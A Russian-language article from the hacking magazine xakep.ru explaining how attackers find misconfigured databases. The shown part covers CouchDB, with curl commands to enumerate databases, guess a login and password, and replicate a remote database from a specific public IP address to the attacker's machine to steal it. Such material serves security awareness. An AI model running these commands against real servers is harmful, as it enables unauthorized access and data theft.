В поисках утечек. Как хакеры ищут и угоняют чужие базы данных

Содержание статьи

  • Самые интересные СУБД
  • CouchDB
  • MongoDB
  • Elasticsearch
  • Примеры ручного поиска
  • Разбор полетов
  • Автоматизация
  • Выводы

Прак­тичес­ки каж­дый день «Хакер» пишет о мас­штаб­ных и не очень утеч­ках дан­ных. «Течет» отку­да толь­ко мож­но, и пос­ледс­твия быва­ют самыми раз­ными. Сегод­ня я пос­тара­юсь рас­ска­зать и показать, как лег­ко зло­умыш­ленни­ки могут получить дос­туп к обширным мас­сивам все­воз­можных дан­ных.

warning

Вся информа­ция пре­дос­тавле­на исклю­читель­но в озна­коми­тель­ных целях. Ни автор, ни редак­ция не несут ответс­твен­ности за любой воз­можный вред, при­чинен­ный матери­ала­ми дан­ной статьи. Неп­равомер­ный дос­туп к компь­ютер­ной информа­ции прес­леду­ется по закону.

Преж­де чем прис­тупать к ата­кам, пред­лагаю разоб­рать­ся, почему они вооб­ще воз­можны и почему жизнь по‑преж­нему ничему не учит адми­нов и про­чих при­час­тных к защите БД.

  • По­рог вхож­дения в при­мене­ние сов­ремен­ных БД, как и в IT в целом, сни­жает­ся. Начина­юще­му эни­кей­щику все про­ще попасть на адми­нис­три­рова­ние сер­виса, тре­бующе­го тща­тель­ной и вни­матель­ной нас­трой­ки, да и эле­мен­тарных зна­ний о кон­крет­ном про­дук­те. К счастью таких «инже­неров», но к сожале­нию вла­дель­цев утек­ших дан­ных, мно­гие сетевые сер­висы (нап­ример, базы дан­ных) мож­но раз­вернуть «в один клик». При этом совер­шенно не тре­бует­ся понимать механизм работы и воз­можные угро­зы раз­верты­ваемым сер­висам. И хорошо, если све­жеус­танов­ленная база дан­ных нас­тра­ива­лась хотя бы по инс­трук­ции с пер­вой стра­ницы поис­ковика. А если нет?
  • Час­тень­ко авто­риза­цию отклю­чают по сооб­ражени­ям «удобс­тва» работы с дан­ными. В ито­ге наружу тор­чит порт, а неред­ко и интерфейс СУБД, с которым мож­но делать что угод­но. При­ходи — бери что хочешь…
  • На­чаль­ство тре­бует сде­лать все мак­сималь­но дешево, так как денег мало и тра­тить их на дос­той­ного спе­ца не хочет­ся. Вот и про­сят дизай­нера Вась­ку накатить и нас­тро­ить БД для ком­пании за чаш­ку кофе. Какая уж тут безопас­ность — хорошо, если хоть пароль пос­тавит.

Та­ким обра­зом, одной из основных при­чин утеч­ки дан­ных слу­жит кри­вору­кость адми­нис­тра­торов небезо­пас­ная кон­фигура­ция СУБД, оставлен­ная в резуль­тате нев­ниматель­нос­ти или же прос­то недос­татка зна­ний.

www

Пу­гающие мас­шта­бы кри­вору­кос­ти адми­нов и при­меры уте­чек из‑за это­го мож­но уви­деть на канале «Утеч­ки информа­ции», да и в «Хакере» мы о них ре­гуляр­но пишем.

 

Самые интересные СУБД

СУБД — это сис­тема управле­ния базами дан­ных, которая обес­печива­ет механизм хра­нения и поис­ка этих самых дан­ных. В даль­нейшем я буду час­то исполь­зовать это сок­ращение.

 

CouchDB

CouchDB — это база дан­ных с откры­тым исходным кодом, раз­работан­ная прог­рам­мным фон­дом Apache. Клас­сичес­кая NoSQL-база. Написа­на на язы­ке Erlang.

Боль­ше все­го нас инте­ресу­ют спо­собы под­клю­чения:

  • порт HTTP API (по умол­чанию — 5984);
  • веб‑интерфейс Futon.

Дос­туп к БД реали­зован по про­токо­лу HTTP с исполь­зовани­ем JSON API, что поз­воля­ет обра­щать­ся к дан­ным в том чис­ле из выпол­няемых в бра­узе­ре веб‑при­ложе­ний. Име­ет свой собс­твен­ный гра­фичес­кий веб‑интерфейс (Futon).

Мы же вос­поль­зуем­ся обыч­ным curl. Вот, к при­меру, зап­рос при­ветс­твия:

curl http://127.0.0.1:5984/

От­вет рас­ска­жет нам о номере вер­сии, име­ни пос­тавщи­ка и вер­сии прог­рам­мно­го обес­печения:

{ "couchdb":"Welcome","version":"2.3.1", "git_sha":"c298091a4", "uuid":"777dc19849f3ff0392ba09dec1a62fa7", "features":["pluggable-storage-engines","scheduler"], "vendor":{"name":"The Apache Software Foundation"}}

Что­бы получить спи­сок всех БД на сер­вере, мож­но выпол­нить такой зап­рос:

curl http://127.0.0.1:5984/_all_dbs

В ответ мы уви­дим

[ "_replicator", "_users", "mychannel_", "mychannel_kizuna-chaincode", "mychannel_lscc", "mychannel_user"]

Здесь _replicator и _users — это стан­дар­тные БД.

В ответ так­же мож­но получить такую ошиб­ку:

{ "error":"unauthorized", "reason":"You are not a server admin."}

Сме­ло идем мимо, здесь ловить нечего. Уро­вень ано­ним­ного дос­тупа нас­тро­ен так, что мы не можем даже уви­деть спи­сок БД на сер­вере, не то что к ним под­клю­чить­ся. Но мож­но поп­робовать науда­чу подоб­рать пароль. Зап­рос на авто­риза­цию выг­лядит сле­дующим обра­зом:

curl -X PUT http://localhost:5984/test -u "login:password"

Что­бы под­клю­чить­ся к гра­фичес­кому интерфей­су, нет необ­ходимос­ти ста­вить какое‑либо ПО, дос­таточ­но прос­то в бра­узе­ре перей­ти по такому адре­су:

http://127.0.0.1:5984/_utils/

Что­бы унес­ти дан­ные, мож­но вос­поль­зовать­ся сле­дующим зап­росом:

curl -X POST -d '{"source":"http://54.161.77.240:5984/klaspadchannel_","target":"http://localhost:5984/klaspadchannel_"}' http://localhost:5984/_replicate -H "Content-Type: application/json"

Ко­неч­но же, пот­ребу­ется под­нять сер­вер CouchDB на локаль­ной машине. Впро­чем, было бы стран­но, если бы его у тебя не было, раз уж ты соб­рался работать с этой базой.

Источник: xakep.ru

Ответить

Ваш адрес email не будет опубликован. Обязательные поля помечены *